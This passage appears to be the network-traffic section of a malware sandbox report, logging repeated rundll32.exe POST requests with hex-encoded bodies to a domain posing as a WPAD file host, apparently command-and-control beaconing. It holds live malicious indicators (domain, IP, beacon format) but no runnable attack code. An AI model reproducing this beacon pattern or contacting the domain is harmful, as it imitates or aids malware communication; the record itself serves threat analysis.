2024-04-16 13:35:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:19 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glk2qemTXtTfYqFkIG2JZta8pXsHHmI%2BuL19CReebfgBgVu5XzN9cmaXb%2Fvy5rs93NF4wuRPeCc8t2DrEyzpGqwDJmrHsA8OnQiIk4JjSGDVnKE13pQAu%2Bkkmcv3ioffv4uLO9Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ecf6a827bdc-ATL
2024-04-16 13:35:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49710	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:19 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UuGRxaXfy5ly6jmtpdRXcrn5Kdgf3UBxyKBW1CgDqpG2q0jq65OSQa9symPRiEvBtEMr9VZJDQSPM8TInO0cY58yJglLeSe96h7bM7crdQWvoNHBUf4HmbQTjzIy%2FQomqVEaYGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ed00c2053d5-ATL
2024-04-16 13:35:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49711	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:20 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 540 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:20 UTC	540	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 31 39 62 36 39 66 65 65 32 61 35 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 33 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e619b69fee2a52bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d1193b897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 13:35:20 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SlHjJZx2CAm2Ep2henp1v45qPNcIs1KBlX6gR7KVrgFw974xZe2u3hGMyn8krPjX3mJIZrnqU%2Bzu5CjD5hFKs6zmVwI1ZHc0n2Cax8jNiQL%2FOpAAKeQFH4vf9%2Fp8amMVRZqqt5M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ed6eec544dc-ATL
2024-04-16 13:35:20 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 65 2b 52 4d 48 65 75 2f 74 61 64 45 42 49 31 51 6b 34 36 70 64 6c 62 39 66 41 52 37 58 4d 72 67 6a 72 4d 75 6c 49 33 6e 32 52 52 53 2b 77 70 63 44 0d 0a Data Ascii: 34d3ae+RMHeu/tadEBI1Qk46pdlb9fAR7XMrgjrMulI3n2RRS+wpcD
2024-04-16 13:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49712	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:20 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:20 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:20 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b7IVCULrGGckALKbtf%2BW5LrULNV3BfqRW6tLXdpEBQjLeA2jOmZPwl6CTqtuqBOKGnKJRnCu7IxYKuKts7VGPUsZgRWBK8KgEkKUQP3hl1y8PhtbNCcTHQZEovYbOHzbSQLiSa8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548edade39b066-ATL
2024-04-16 13:35:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49713	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:24 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:24 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:24 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FfazE25ZHqoLxRfbK0hAmhf9Fe%2Fbe27SJUKS%2FnNNEcGgNusqrT07ELZfGSPsljzLS5SIwHvjZPJMPvp0LUhtLQYdzdih9ZCrKV41Wr0mg5VzMtJA9jjsVqDmyJJQpvJI6smfjEo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ef29a9bb074-ATL
2024-04-16 13:35:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49714	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:24 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:24 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:24 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YS6eIQiqyOQPT9Ywr5CM4lHWcmlG5SSSS9iAG4RZ2ZrYAUbma2uVlH5QTRjDkWXTylCTZ0EvogqPkENv4hsmBcfpymVTB6%2FcsmfqQ9uITa2CREZFASrvqI%2BhW9zEgACWA0s2o9c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ef33c4d4503-ATL
2024-04-16 13:35:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49715	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:25 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:25 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:25 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I5t%2FYAXpJ6xQC8MT0zihsjjnf5T5m8Ud2xpE3oQDK3HNogKnkTl3qLujzndf%2BRB07gYwk8nFY8xuM6Yxt2ERjB2w4N9gGEyE0XOjuRJVEeATFmpaI4ikIcv6lJ1tPA7iMGF%2BGTE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ef84efd12e6-ATL
2024-04-16 13:35:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49716	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:28 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:28 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:28 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jZiYcLTCI5bBNvuTxeQlJalsvqBpKbZLhMxjKeGCBK%2B7RJx1J%2FIpb3ob5WNvP%2Fb36GZmtKrlINkgGPNdoaBnRENI87g3vN7KApSaKLdz2JIHF6Biy4hNgihqF%2B3tfk4IrwdkvVw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f09695e4503-ATL
2024-04-16 13:35:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49717	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:30 UTC	545	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IKAl7dH3%2FBE7UOz2FRh%2B%2BEnARTBv1jH5QPc7fHSqJtvGm%2BUQD55aiRAgfuVGoXu8MWeFw%2Bk%2BbAJml7nlPubAVHTOev8TFkDg%2BpdKLRTwTS0vNyShQLV%2B64cwDY49e%2Fdqix52j6k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f15ba4f451f-ATL
2024-04-16 13:35:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49718	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:30 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7QU%2Bf48s4kCfb0PuMhCHWRai%2FHJp1DiI0a5nWHW647eSARL%2BqoodMkr1%2FOpnZ9gRRnPCtdU5rZy75fV8sdCL73MyCsRIo8ZirnuAv7LoYTXrU0htztLU1TAlM6hCrf5ohECFTSU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f161c5eb054-ATL
2024-04-16 13:35:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49719	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:30 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:30 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:31 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wQz7IYYR5ug5GBntLoUq7SZwJcyp9WkBH2P%2BDJkOtHPuoHoPqr0iqn1O0XWWEGpiqQ2LciTt%2FdYDZWlNMjSTCxmX%2Fn0lqGTW7639b%2BzkuKUZfUmOF3tDP5Lert6%2BD%2B6JMDygpTI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f1bba031d72-ATL
2024-04-16 13:35:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49724	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:33 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:33 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pf%2FWxZ%2FW629ndKHqMeTuE0V8XtLehNQm%2F1tC43Q786cUg4jFgBCe%2BHSTEdvioUubxKAoc2G7ZucoxGMClIsV4%2FnHdsaFoKTkoYpYDf4Ik8bH368tf5SN3lhLUi0RQmu3ivYHsM0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f2bccd57bba-ATL
2024-04-16 13:35:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49725	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:34 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zFJQLnzg%2BlwY0ZZNWic8F1t0BDmhPvAe6kG5KGy29tWOq0RhogFaXTQuzEUAcC74AHsDykdBm99cPLKW0SW1Wu0aroFRl5ij3OGK8GLx3mN6U20gU0dLsur2B4sAI9zN1fS%2FPDc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f3288ac44f6-ATL
2024-04-16 13:35:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49726	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
